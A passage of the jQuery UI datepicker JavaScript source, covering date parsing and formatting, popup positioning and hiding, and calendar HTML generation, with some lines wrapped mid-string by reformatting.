inst.dpDiv.removeClass('ui-datepicker-multi-2 ui-datepicker-multi-3
ui-datepicker-multi-4').width('');
if (cols > 1)
inst.dpDiv.addClass('ui-datepicker-multi-' +
cols).css('width', (width * cols) + 'em');
inst.dpDiv[(numMonths[0] != 1 || numMonths[1] != 1 ? 'add' :
'remove') +
'Class']('ui-datepicker-multi');
inst.dpDiv[(this._get(inst, 'isRTL') ? 'add' :
'remove') +
'Class']('ui-datepicker-rtl');
if (inst == $.datepicker._curInst &&
$.datepicker._datepickerShowing && inst.input &&
// #6694 - don't focus the input if it's already focused
// this breaks the change event in IE
inst.input.is(':visible') &&
!inst.input.is(':disabled') && inst.input[0] !=
document.activeElement)
inst.input.focus();
// deffered render of the years select (to avoid flashes on Firefox)
if( inst.yearshtml ){
var origyearshtml = inst.yearshtml;
setTimeout(function(){
//assure that inst.yearshtml didn't change.
if( origyearshtml === inst.yearshtml && inst.yearshtml ){
inst.dpDiv.find('select.ui-datepicker-year:first').replaceWith(inst.yearshtml);
}
origyearshtml = inst.yearshtml = null;
}, 0);
}
},
/* Retrieve the size of left and top borders for an element.
@param elem (jQuery object) the element of interest
@return (number[2]) the left and top borders */
_getBorders: function(elem) {
var convert = function(value) {
return {thin: 1, medium: 2, thick: 3}[value] || value;
};
return [parseFloat(convert(elem.css('border-left-width'))),
parseFloat(convert(elem.css('border-top-width')))];
},
/* Check positioning to remain on screen. */
_checkOffset: function(inst, offset, isFixed) {
var dpWidth = inst.dpDiv.outerWidth();
var dpHeight = inst.dpDiv.outerHeight();
var inputWidth = inst.input ? inst.input.outerWidth() : 0;
var inputHeight = inst.input ? inst.input.outerHeight() : 0;
var viewWidth = document.documentElement.clientWidth + (isFixed ? 0 :
$(document).scrollLeft());
var viewHeight = document.documentElement.clientHeight + (isFixed ? 0 :
$(document).scrollTop());
offset.left -= (this._get(inst, 'isRTL') ? (dpWidth -
inputWidth) : 0);
offset.left -= (isFixed && offset.left ==
inst.input.offset().left) ? $(document).scrollLeft() : 0;
offset.top -= (isFixed && offset.top == (inst.input.offset().top
+ inputHeight)) ? $(document).scrollTop() : 0;
// now check if datepicker is showing outside window viewport - move to a
better place if so.
offset.left -= Math.min(offset.left, (offset.left + dpWidth >
viewWidth && viewWidth > dpWidth) ?
Math.abs(offset.left + dpWidth - viewWidth) : 0);
offset.top -= Math.min(offset.top, (offset.top + dpHeight > viewHeight
&& viewHeight > dpHeight) ?
Math.abs(dpHeight + inputHeight) : 0);
return offset;
},
/* Find an object's position on the screen. */
_findPos: function(obj) {
var inst = this._getInst(obj);
var isRTL = this._get(inst, 'isRTL');
while (obj && (obj.type == 'hidden' || obj.nodeType !=
1 || $.expr.filters.hidden(obj))) {
obj = obj[isRTL ? 'previousSibling' :
'nextSibling'];
}
var position = $(obj).offset();
return [position.left, position.top];
},
/* Hide the date picker from view.
@param input element - the input field attached to the date picker */
_hideDatepicker: function(input) {
var inst = this._curInst;
if (!inst || (input && inst != $.data(input, PROP_NAME)))
return;
if (this._datepickerShowing) {
var showAnim = this._get(inst, 'showAnim');
var duration = this._get(inst, 'duration');
var postProcess = function() {
$.datepicker._tidyDialog(inst);
};
// DEPRECATED: after BC for 1.8.x $.effects[ showAnim ] is not needed
if ( $.effects && ( $.effects.effect[ showAnim ] || $.effects[
showAnim ] ) )
inst.dpDiv.hide(showAnim, $.datepicker._get(inst,
'showOptions'), duration, postProcess);
else
inst.dpDiv[(showAnim == 'slideDown' ? 'slideUp' :
(showAnim == 'fadeIn' ? 'fadeOut' :
'hide'))]((showAnim ? duration : null), postProcess);
if (!showAnim)
postProcess();
this._datepickerShowing = false;
var onClose = this._get(inst, 'onClose');
if (onClose)
onClose.apply((inst.input ? inst.input[0] : null),
[(inst.input ? inst.input.val() : ''), inst]);
this._lastInput = null;
if (this._inDialog) {
this._dialogInput.css({ position: 'absolute', left:
'0', top: '-100px' });
if ($.blockUI) {
$.unblockUI();
$('body').append(this.dpDiv);
}
}
this._inDialog = false;
}
},
/* Tidy up after a dialog display. */
_tidyDialog: function(inst) {
inst.dpDiv.removeClass(this._dialogClass).unbind('.ui-datepicker-calendar');
},
/* Close date picker if clicked elsewhere. */
_checkExternalClick: function(event) {
if (!$.datepicker._curInst)
return;
var $target = $(event.target),
inst = $.datepicker._getInst($target[0]);
if ( ( ( $target[0].id != $.datepicker._mainDivId &&
$target.parents('#' + $.datepicker._mainDivId).length == 0
&&
!$target.hasClass($.datepicker.markerClassName) &&
!$target.closest("." + $.datepicker._triggerClass).length
&&
$.datepicker._datepickerShowing && !($.datepicker._inDialog
&& $.blockUI) ) ) ||
( $target.hasClass($.datepicker.markerClassName) &&
$.datepicker._curInst != inst ) )
$.datepicker._hideDatepicker();
},
/* Adjust one of the date sub-fields. */
_adjustDate: function(id, offset, period) {
var target = $(id);
var inst = this._getInst(target[0]);
if (this._isDisabledDatepicker(target[0])) {
return;
}
this._adjustInstDate(inst, offset +
(period == 'M' ? this._get(inst, 'showCurrentAtPos')
: 0), // undo positioning
period);
this._updateDatepicker(inst);
},
/* Action for current link. */
_gotoToday: function(id) {
var target = $(id);
var inst = this._getInst(target[0]);
if (this._get(inst, 'gotoCurrent') && inst.currentDay)
{
inst.selectedDay = inst.currentDay;
inst.drawMonth = inst.selectedMonth = inst.currentMonth;
inst.drawYear = inst.selectedYear = inst.currentYear;
}
else {
var date = new Date();
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
}
this._notifyChange(inst);
this._adjustDate(target);
},
/* Action for selecting a new month/year. */
_selectMonthYear: function(id, select, period) {
var target = $(id);
var inst = this._getInst(target[0]);
inst['selected' + (period == 'M' ? 'Month'
: 'Year')] =
inst['draw' + (period == 'M' ? 'Month' :
'Year')] =
parseInt(select.options[select.selectedIndex].value,10);
this._notifyChange(inst);
this._adjustDate(target);
},
/* Action for selecting a day. */
_selectDay: function(id, month, year, td) {
var target = $(id);
if ($(td).hasClass(this._unselectableClass) ||
this._isDisabledDatepicker(target[0])) {
return;
}
var inst = this._getInst(target[0]);
inst.selectedDay = inst.currentDay = $('a', td).html();
inst.selectedMonth = inst.currentMonth = month;
inst.selectedYear = inst.currentYear = year;
this._selectDate(id, this._formatDate(inst,
inst.currentDay, inst.currentMonth, inst.currentYear));
},
/* Erase the input field and hide the date picker. */
_clearDate: function(id) {
var target = $(id);
var inst = this._getInst(target[0]);
this._selectDate(target, '');
},
/* Update the input field with the selected date. */
_selectDate: function(id, dateStr) {
var target = $(id);
var inst = this._getInst(target[0]);
dateStr = (dateStr != null ? dateStr : this._formatDate(inst));
if (inst.input)
inst.input.val(dateStr);
this._updateAlternate(inst);
var onSelect = this._get(inst, 'onSelect');
if (onSelect)
onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);
// trigger custom callback
else if (inst.input)
inst.input.trigger('change'); // fire the change event
if (inst.inline)
this._updateDatepicker(inst);
else {
this._hideDatepicker();
this._lastInput = inst.input[0];
if (typeof(inst.input[0]) != 'object')
inst.input.focus(); // restore focus
this._lastInput = null;
}
},
/* Update any alternate field to synchronise with the main field. */
_updateAlternate: function(inst) {
var altField = this._get(inst, 'altField');
if (altField) { // update alternate field too
var altFormat = this._get(inst, 'altFormat') ||
this._get(inst, 'dateFormat');
var date = this._getDate(inst);
var dateStr = this.formatDate(altFormat, date,
this._getFormatConfig(inst));
$(altField).each(function() { $(this).val(dateStr); });
}
},
/* Set as beforeShowDay function to prevent selection of weekends.
@param date Date - the date to customise
@return [boolean, string] - is this date selectable?, what is its CSS
class? */
noWeekends: function(date) {
var day = date.getDay();
return [(day > 0 && day < 6), ''];
},
/* Set as calculateWeek to determine the week of the year based on the ISO
8601 definition.
@param date Date - the date to get the week for
@return number - the number of the week within the year that contains
this date */
iso8601Week: function(date) {
var checkDate = new Date(date.getTime());
// Find Thursday of this week starting on Monday
checkDate.setDate(checkDate.getDate() + 4 - (checkDate.getDay() || 7));
var time = checkDate.getTime();
checkDate.setMonth(0); // Compare with Jan 1
checkDate.setDate(1);
return Math.floor(Math.round((time - checkDate) / 86400000) / 7) + 1;
},
/* Parse a string value into a date object.
See formatDate below for the possible formats.
@param format string - the expected format of the date
@param value string - the date in the above format
@param settings Object - attributes include:
shortYearCutoff number - the cutoff year for
determining the century (optional)
dayNamesShort string[7] - abbreviated names of the
days from Sunday (optional)
dayNames string[7] - names of the days from
Sunday (optional)
monthNamesShort string[12] - abbreviated names of
the months (optional)
monthNames string[12] - names of the months
(optional)
@return Date - the extracted date value or null if value is blank */
parseDate: function (format, value, settings) {
if (format == null || value == null)
throw 'Invalid arguments';
value = (typeof value == 'object' ? value.toString() : value +
'');
if (value == '')
return null;
var shortYearCutoff = (settings ? settings.shortYearCutoff : null) ||
this._defaults.shortYearCutoff;
shortYearCutoff = (typeof shortYearCutoff != 'string' ?
shortYearCutoff :
new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
var dayNamesShort = (settings ? settings.dayNamesShort : null) ||
this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) ||
this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) ||
this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) ||
this._defaults.monthNames;
var year = -1;
var month = -1;
var day = -1;
var doy = -1;
var literal = false;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length &&
format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
// Extract a number from the string value
var getNumber = function(match) {
var isDoubled = lookAhead(match);
var size = (match == '@' ? 14 : (match == '!' ? 20 :
(match == 'y' && isDoubled ? 4 : (match ==
'o' ? 3 : 2))));
var digits = new RegExp('^\\d{1,' + size + '}');
var num = value.substring(iValue).match(digits);
if (!num)
throw 'Missing number at position ' + iValue;
iValue += num[0].length;
return parseInt(num[0], 10);
};
// Extract a name from the string value and convert to an index
var getName = function(match, shortNames, longNames) {
var names = $.map(lookAhead(match) ? longNames : shortNames, function
(v, k) {
return [ [k, v] ];
}).sort(function (a, b) {
return -(a[1].length - b[1].length);
});
var index = -1;
$.each(names, function (i, pair) {
var name = pair[1];
if (value.substr(iValue, name.length).toLowerCase() ==
name.toLowerCase()) {
index = pair[0];
iValue += name.length;
return false;
}
});
if (index != -1)
return index + 1;
else
throw 'Unknown name at position ' + iValue;
};
// Confirm that a literal character matches the string value
var checkLiteral = function() {
if (value.charAt(iValue) != format.charAt(iFormat))
throw 'Unexpected literal at position ' + iValue;
iValue++;
};
var iValue = 0;
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal)
if (format.charAt(iFormat) == "'" &&
!lookAhead("'"))
literal = false;
else
checkLiteral();
else
switch (format.charAt(iFormat)) {
case 'd':
day = getNumber('d');
break;
case 'D':
getName('D', dayNamesShort, dayNames);
break;
case 'o':
doy = getNumber('o');
break;
case 'm':
month = getNumber('m');
break;
case 'M':
month = getName('M', monthNamesShort, monthNames);
break;
case 'y':
year = getNumber('y');
break;
case '@':
var date = new Date(getNumber('@'));
year = date.getFullYear();
month = date.getMonth() + 1;
day = date.getDate();
break;
case '!':
var date = new Date((getNumber('!') - this._ticksTo1970) /
10000);
year = date.getFullYear();
month = date.getMonth() + 1;
day = date.getDate();
break;
case "'":
if (lookAhead("'"))
checkLiteral();
else
literal = true;
break;
default:
checkLiteral();
}
}
if (iValue < value.length){
var extra = value.substr(iValue);
if (!/^\s+/.test(extra)) {
throw "Extra/unparsed characters found in date: " + extra;
}
}
if (year == -1)
year = new Date().getFullYear();
else if (year < 100)
year += new Date().getFullYear() - new Date().getFullYear() % 100 +
(year <= shortYearCutoff ? 0 : -100);
if (doy > -1) {
month = 1;
day = doy;
do {
var dim = this._getDaysInMonth(year, month - 1);
if (day <= dim)
break;
month++;
day -= dim;
} while (true);
}
var date = this._daylightSavingAdjust(new Date(year, month - 1, day));
if (date.getFullYear() != year || date.getMonth() + 1 != month ||
date.getDate() != day)
throw 'Invalid date'; // E.g. 31/02/00
return date;
},
/* Standard date formats. */
ATOM: 'yy-mm-dd', // RFC 3339 (ISO 8601)
COOKIE: 'D, dd M yy',
ISO_8601: 'yy-mm-dd',
RFC_822: 'D, d M y',
RFC_850: 'DD, dd-M-y',
RFC_1036: 'D, d M y',
RFC_1123: 'D, d M yy',
RFC_2822: 'D, d M yy',
RSS: 'D, d M y', // RFC 822
TICKS: '!',
TIMESTAMP: '@',
W3C: 'yy-mm-dd', // ISO 8601
_ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970
/ 100) +
Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000),
/* Format a date object into a string value.
The format can be combinations of the following:
d - day of month (no leading zero)
dd - day of month (two digit)
o - day of year (no leading zeros)
oo - day of year (three digit)
D - day name short
DD - day name long
m - month of year (no leading zero)
mm - month of year (two digit)
M - month name short
MM - month name long
y - year (two digit)
yy - year (four digit)
@ - Unix timestamp (ms since 01/01/1970)
! - Windows ticks (100ns since 01/01/0001)
'...' - literal text
'' - single quote
@param format string - the desired format of the date
@param date Date - the date value to format
@param settings Object - attributes include:
dayNamesShort string[7] - abbreviated names of the
days from Sunday (optional)
dayNames string[7] - names of the days from
Sunday (optional)
monthNamesShort string[12] - abbreviated names of
the months (optional)
monthNames string[12] - names of the months
(optional)
@return string - the date in the above format */
formatDate: function (format, date, settings) {
if (!date)
return '';
var dayNamesShort = (settings ? settings.dayNamesShort : null) ||
this._defaults.dayNamesShort;
var dayNames = (settings ? settings.dayNames : null) ||
this._defaults.dayNames;
var monthNamesShort = (settings ? settings.monthNamesShort : null) ||
this._defaults.monthNamesShort;
var monthNames = (settings ? settings.monthNames : null) ||
this._defaults.monthNames;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length &&
format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
// Format a number, with leading zero if necessary
var formatNumber = function(match, value, len) {
var num = '' + value;
if (lookAhead(match))
while (num.length < len)
num = '0' + num;
return num;
};
// Format a name, short or long as requested
var formatName = function(match, value, shortNames, longNames) {
return (lookAhead(match) ? longNames[value] : shortNames[value]);
};
var output = '';
var literal = false;
if (date)
for (var iFormat = 0; iFormat < format.length; iFormat++) {
if (literal)
if (format.charAt(iFormat) == "'" &&
!lookAhead("'"))
literal = false;
else
output += format.charAt(iFormat);
else
switch (format.charAt(iFormat)) {
case 'd':
output += formatNumber('d', date.getDate(), 2);
break;
case 'D':
output += formatName('D', date.getDay(), dayNamesShort,
dayNames);
break;
case 'o':
output += formatNumber('o',
Math.round((new Date(date.getFullYear(), date.getMonth(),
date.getDate()).getTime() - new Date(date.getFullYear(), 0, 0).getTime()) /
86400000), 3);
break;
case 'm':
output += formatNumber('m', date.getMonth() + 1, 2);
break;
case 'M':
output += formatName('M', date.getMonth(),
monthNamesShort, monthNames);
break;
case 'y':
output += (lookAhead('y') ? date.getFullYear() :
(date.getYear() % 100 < 10 ? '0' : '') +
date.getYear() % 100);
break;
case '@':
output += date.getTime();
break;
case '!':
output += date.getTime() * 10000 + this._ticksTo1970;
break;
case "'":
if (lookAhead("'"))
output += "'";
else
literal = true;
break;
default:
output += format.charAt(iFormat);
}
}
return output;
},
/* Extract all possible characters from the date format. */
_possibleChars: function (format) {
var chars = '';
var literal = false;
// Check whether a format character is doubled
var lookAhead = function(match) {
var matches = (iFormat + 1 < format.length &&
format.charAt(iFormat + 1) == match);
if (matches)
iFormat++;
return matches;
};
for (var iFormat = 0; iFormat < format.length; iFormat++)
if (literal)
if (format.charAt(iFormat) == "'" &&
!lookAhead("'"))
literal = false;
else
chars += format.charAt(iFormat);
else
switch (format.charAt(iFormat)) {
case 'd': case 'm': case 'y': case
'@':
chars += '0123456789';
break;
case 'D': case 'M':
return null; // Accept anything
case "'":
if (lookAhead("'"))
chars += "'";
else
literal = true;
break;
default:
chars += format.charAt(iFormat);
}
return chars;
},
/* Get a setting value, defaulting if necessary. */
_get: function(inst, name) {
return inst.settings[name] !== undefined ?
inst.settings[name] : this._defaults[name];
},
/* Parse existing date and initialise date picker. */
_setDateFromField: function(inst, noDefault) {
if (inst.input.val() == inst.lastVal) {
return;
}
var dateFormat = this._get(inst, 'dateFormat');
var dates = inst.lastVal = inst.input ? inst.input.val() : null;
var date, defaultDate;
date = defaultDate = this._getDefaultDate(inst);
var settings = this._getFormatConfig(inst);
try {
date = this.parseDate(dateFormat, dates, settings) || defaultDate;
} catch (event) {
this.log(event);
dates = (noDefault ? '' : dates);
}
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
inst.currentDay = (dates ? date.getDate() : 0);
inst.currentMonth = (dates ? date.getMonth() : 0);
inst.currentYear = (dates ? date.getFullYear() : 0);
this._adjustInstDate(inst);
},
/* Retrieve the default date shown on opening. */
_getDefaultDate: function(inst) {
return this._restrictMinMax(inst,
this._determineDate(inst, this._get(inst, 'defaultDate'), new
Date()));
},
/* A date may be specified as an exact value or a relative one. */
_determineDate: function(inst, date, defaultDate) {
var offsetNumeric = function(offset) {
var date = new Date();
date.setDate(date.getDate() + offset);
return date;
};
var offsetString = function(offset) {
try {
return $.datepicker.parseDate($.datepicker._get(inst,
'dateFormat'),
offset, $.datepicker._getFormatConfig(inst));
}
catch (e) {
// Ignore
}
var date = (offset.toLowerCase().match(/^c/) ?
$.datepicker._getDate(inst) : null) || new Date();
var year = date.getFullYear();
var month = date.getMonth();
var day = date.getDate();
var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;
var matches = pattern.exec(offset);
while (matches) {
switch (matches[2] || 'd') {
case 'd' : case 'D' :
day += parseInt(matches[1],10); break;
case 'w' : case 'W' :
day += parseInt(matches[1],10) * 7; break;
case 'm' : case 'M' :
month += parseInt(matches[1],10);
day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
break;
case 'y': case 'Y' :
year += parseInt(matches[1],10);
day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
break;
}
matches = pattern.exec(offset);
}
return new Date(year, month, day);
};
var newDate = (date == null || date === '' ? defaultDate :
(typeof date == 'string' ? offsetString(date) :
(typeof date == 'number' ? (isNaN(date) ? defaultDate :
offsetNumeric(date)) : new Date(date.getTime()))));
newDate = (newDate && newDate.toString() == 'Invalid
Date' ? defaultDate : newDate);
if (newDate) {
newDate.setHours(0);
newDate.setMinutes(0);
newDate.setSeconds(0);
newDate.setMilliseconds(0);
}
return this._daylightSavingAdjust(newDate);
},
/* Handle switch to/from daylight saving.
Hours may be non-zero on daylight saving cut-over:
> 12 when midnight changeover, but then cannot generate
midnight datetime, so jump to 1AM, otherwise reset.
@param date (Date) the date to check
@return (Date) the corrected date */
_daylightSavingAdjust: function(date) {
if (!date) return null;
date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
return date;
},
/* Set the date(s) directly. */
_setDate: function(inst, date, noChange) {
var clear = !date;
var origMonth = inst.selectedMonth;
var origYear = inst.selectedYear;
var newDate = this._restrictMinMax(inst, this._determineDate(inst, date,
new Date()));
inst.selectedDay = inst.currentDay = newDate.getDate();
inst.drawMonth = inst.selectedMonth = inst.currentMonth =
newDate.getMonth();
inst.drawYear = inst.selectedYear = inst.currentYear =
newDate.getFullYear();
if ((origMonth != inst.selectedMonth || origYear != inst.selectedYear)
&& !noChange)
this._notifyChange(inst);
this._adjustInstDate(inst);
if (inst.input) {
inst.input.val(clear ? '' : this._formatDate(inst));
}
},
/* Retrieve the date(s) directly. */
_getDate: function(inst) {
var startDate = (!inst.currentYear || (inst.input &&
inst.input.val() == '') ? null :
this._daylightSavingAdjust(new Date(
inst.currentYear, inst.currentMonth, inst.currentDay)));
return startDate;
},
/* Attach the onxxx handlers. These are declared statically so
* they work with static code transformers like Caja.
*/
_attachHandlers: function(inst) {
var stepMonths = this._get(inst, 'stepMonths');
var id = '#' + inst.id.replace( /\\\\/g, "\\" );
inst.dpDiv.find('[data-handler]').map(function () {
var handler = {
prev: function () {
window['DP_jQuery_' + dpuuid].datepicker._adjustDate(id,
-stepMonths, 'M');
},
next: function () {
window['DP_jQuery_' + dpuuid].datepicker._adjustDate(id,
+stepMonths, 'M');
},
hide: function () {
window['DP_jQuery_' + dpuuid].datepicker._hideDatepicker();
},
today: function () {
window['DP_jQuery_' + dpuuid].datepicker._gotoToday(id);
},
selectDay: function () {
window['DP_jQuery_' + dpuuid].datepicker._selectDay(id,
+this.getAttribute('data-month'),
+this.getAttribute('data-year'), this);
return false;
},
selectMonth: function () {
window['DP_jQuery_' +
dpuuid].datepicker._selectMonthYear(id, this, 'M');
return false;
},
selectYear: function () {
window['DP_jQuery_' +
dpuuid].datepicker._selectMonthYear(id, this, 'Y');
return false;
}
};
$(this).bind(this.getAttribute('data-event'),
handler[this.getAttribute('data-handler')]);
});
},
/* Generate the HTML for the current state of the date picker. */
_generateHTML: function(inst) {
var today = new Date();
today = this._daylightSavingAdjust(
new Date(today.getFullYear(), today.getMonth(), today.getDate())); //
clear time
var isRTL = this._get(inst, 'isRTL');
var showButtonPanel = this._get(inst, 'showButtonPanel');
var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');
var navigationAsDateFormat = this._get(inst,
'navigationAsDateFormat');
var numMonths = this._getNumberOfMonths(inst);
var showCurrentAtPos = this._get(inst, 'showCurrentAtPos');
var stepMonths = this._get(inst, 'stepMonths');
var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new
Date(9999, 9, 9) :
new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
var drawMonth = inst.drawMonth - showCurrentAtPos;
var drawYear = inst.drawYear;
if (drawMonth < 0) {
drawMonth += 12;
drawYear--;
}
if (maxDate) {
var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),
maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1,
maxDate.getDate()));
maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) >
maxDraw) {
drawMonth--;
if (drawMonth < 0) {
drawMonth = 11;
drawYear--;
}
}
}
inst.drawMonth = drawMonth;
inst.drawYear = drawYear;
var prevText = this._get(inst, 'prevText');
prevText = (!navigationAsDateFormat ? prevText :
this.formatDate(prevText,
this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths,
1)),
this._getFormatConfig(inst)));
var prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?
'<a class="ui-datepicker-prev ui-corner-all"
data-handler="prev" data-event="click"' +
' title="' + prevText + '"><span
class="ui-icon ui-icon-circle-triangle-' + ( isRTL ?
'e' : 'w') + '">' + prevText +
'</span></a>' :
(hideIfNoPrevNext ? '' : '<a
class="ui-datepicker-prev ui-corner-all ui-state-disabled"
title="'+ prevText +'"><span class="ui-icon
ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') +
'">' + prevText + '</span></a>'));
var nextText = this._get(inst, 'nextText');
nextText = (!navigationAsDateFormat ? nextText :
this.formatDate(nextText,
this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths,
1)),
this._getFormatConfig(inst)));
var next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?
'<a class="ui-datepicker-next ui-corner-all"
data-handler="next" data-event="click"' +
' title="' + nextText + '"><span
class="ui-icon ui-icon-circle-triangle-' + ( isRTL ?
'w' : 'e') + '">' + nextText +
'</span></a>' :
(hideIfNoPrevNext ? '' : '<a
class="ui-datepicker-next ui-corner-all ui-state-disabled"
title="'+ nextText + '"><span class="ui-icon
ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') +
'">' + nextText + '</span></a>'));
var currentText = this._get(inst, 'currentText');
var gotoDate = (this._get(inst, 'gotoCurrent') &&
inst.currentDay ? currentDate : today);
currentText = (!navigationAsDateFormat ? currentText :
this.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));
var controls = (!inst.inline ? '<button type="button"
class="ui-datepicker-close ui-state-default ui-priority-primary
ui-corner-all" data-handler="hide"
data-event="click">' +
this._get(inst, 'closeText') + '</button>' :
'');
var buttonPanel = (showButtonPanel) ? '<div
class="ui-datepicker-buttonpane ui-widget-content">' +
(isRTL ? controls : '') +
(this._isInRange(inst, gotoDate) ? '<button
type="button" class="ui-datepicker-current ui-state-default
ui-priority-secondary ui-corner-all" data-handler="today"
data-event="click"' +
'>' + currentText + '</button>' :
'') + (isRTL ? '' : controls) +
'</div>' : '';
var firstDay = parseInt(this._get(inst, 'firstDay'),10);
firstDay = (isNaN(firstDay) ? 0 : firstDay);
var showWeek = this._get(inst, 'showWeek');
var dayNames = this._get(inst, 'dayNames');
var dayNamesShort = this._get(inst, 'dayNamesShort');
var dayNamesMin = this._get(inst, 'dayNamesMin');
var monthNames = this._get(inst, 'monthNames');
var monthNamesShort = this._get(inst, 'monthNamesShort');
var beforeShowDay = this._get(inst, 'beforeShowDay');
var showOtherMonths = this._get(inst, 'showOtherMonths');
var selectOtherMonths = this._get(inst, 'selectOtherMonths');
var calculateWeek = this._get(inst, 'calculateWeek') ||
this.iso8601Week;
var defaultDate = this._getDefaultDate(inst);
var html = '';
for (var row = 0; row < numMonths[0]; row++) {
var group = '';
this.maxRows = 4;
for (var col = 0; col < numMonths[1]; col++) {
var selectedDate = this._daylightSavingAdjust(new Date(drawYear,
drawMonth, inst.selectedDay));
var cornerClass = ' ui-corner-all';
var calender = '';
if (isMultiMonth) {
calender += '<div class="ui-datepicker-group';
if (numMonths[1] > 1)
switch (col) {
case 0: calender += ' ui-datepicker-group-first';
cornerClass = ' ui-corner-' + (isRTL ? 'right'
: 'left'); break;
case numMonths[1]-1: calender += '
ui-datepicker-group-last';
cornerClass = ' ui-corner-' + (isRTL ? 'left' :
'right'); break;
default: calender += ' ui-datepicker-group-middle';
cornerClass = ''; break;
}
calender += '">';
}
calender += '<div class="ui-datepicker-header
ui-widget-header ui-helper-clearfix' + cornerClass +
'">' +
(/all|left/.test(cornerClass) && row == 0 ? (isRTL ? next :
prev) : '') +
(/all|right/.test(cornerClass) && row == 0 ? (isRTL ? prev :
next) : '') +
this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate,
maxDate,
row > 0 || col > 0, monthNames, monthNamesShort) + // draw month
headers
'</div><table
class="ui-datepicker-calendar"><thead>' +
'<tr>';
var thead = (showWeek ? '<th
class="ui-datepicker-week-col">' + this._get(inst,
'weekHeader') + '</th>' : '');
for (var dow = 0; dow < 7; dow++) { // days of the week
var day = (dow + firstDay) % 7;
thead += '<th' + ((dow + firstDay + 6) % 7 >= 5 ?
' class="ui-datepicker-week-end"' : '') +
'>' +
'<span title="' + dayNames[day] +
'">' + dayNamesMin[day] +
'</span></th>';
}
calender += thead + '</tr></thead><tbody>';
var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
if (drawYear == inst.selectedYear && drawMonth ==
inst.selectedMonth)
inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) -
firstDay + 7) % 7;
var curRows = Math.ceil((leadDays + daysInMonth) / 7); // calculate the
number of rows to generate
var numRows = (isMultiMonth ? this.maxRows > curRows ? this.maxRows
: curRows : curRows); //If multiple months, use the higher number of rows
(see #7043)
this.maxRows = numRows;
var printDate = this._daylightSavingAdjust(new Date(drawYear,
drawMonth, 1 - leadDays));
for (var dRow = 0; dRow < numRows; dRow++) { // create date picker
rows
calender += '<tr>';
var tbody = (!showWeek ? '' : '<td
class="ui-datepicker-week-col">' +
this._get(inst, 'calculateWeek')(printDate) +
'</td>');
for (var dow = 0; dow < 7; dow++) { // create date picker days
var daySettings = (beforeShowDay ?
beforeShowDay.apply((inst.input ? inst.input[0] : null),
[printDate]) : [true, '']);
var otherMonth = (printDate.getMonth() != drawMonth);
var unselectable = (otherMonth && !selectOtherMonths) ||
!daySettings[0] ||
(minDate && printDate < minDate) || (maxDate &&
printDate > maxDate);
tbody += '<td class="' +
((dow + firstDay + 6) % 7 >= 5 ? '
ui-datepicker-week-end' : '') + // highlight weekends
(otherMonth ? ' ui-datepicker-other-month' : '')
+ // highlight days from other months
((printDate.getTime() == selectedDate.getTime() && drawMonth
== inst.selectedMonth && inst._keyEvent) || // user pressed key
(defaultDate.getTime() == printDate.getTime() &&
defaultDate.getTime() == selectedDate.getTime()) ?
// or defaultDate is current printedDate and defaultDate is
selectedDate
' ' + this._dayOverClass : '') + // highlight
selected day
(unselectable ? ' ' + this._unselectableClass + '
ui-state-disabled': '') + // highlight unselectable days
(otherMonth && !showOtherMonths ? '' : '
' + daySettings[1] + // highlight custom dates
(printDate.getTime() == currentDate.getTime() ? ' ' +
this._currentClass : '') + // highlight selected day
(printDate.getTime() == today.getTime() ? '
ui-datepicker-today' : '')) + '"' + //
highlight today (if different)
((!otherMonth || showOtherMonths) && daySettings[2] ? '
title="' + daySettings[2] + '"' : '') +
// cell title
(unselectable ? '' : '
data-handler="selectDay" data-event="click"
data-month="' + printDate.getMonth() + '"
data-year="' + printDate.getFullYear() + '"') +
'>' + // actions
(otherMonth && !showOtherMonths ? ' ' :
// display for other months
(unselectable ? '<span
class="ui-state-default">' + printDate.getDate() +
'</span>' : '<a class="ui-state-default'
+
(printDate.getTime() == today.getTime() ? '
ui-state-highlight' : '') +
(printDate.getTime() == currentDate.getTime() ? '
ui-state-active' : '') + // highlight selected day
(otherMonth ? ' ui-priority-secondary' : '') +
// distinguish dates from other months
'" href="#">' + printDate.getDate() +
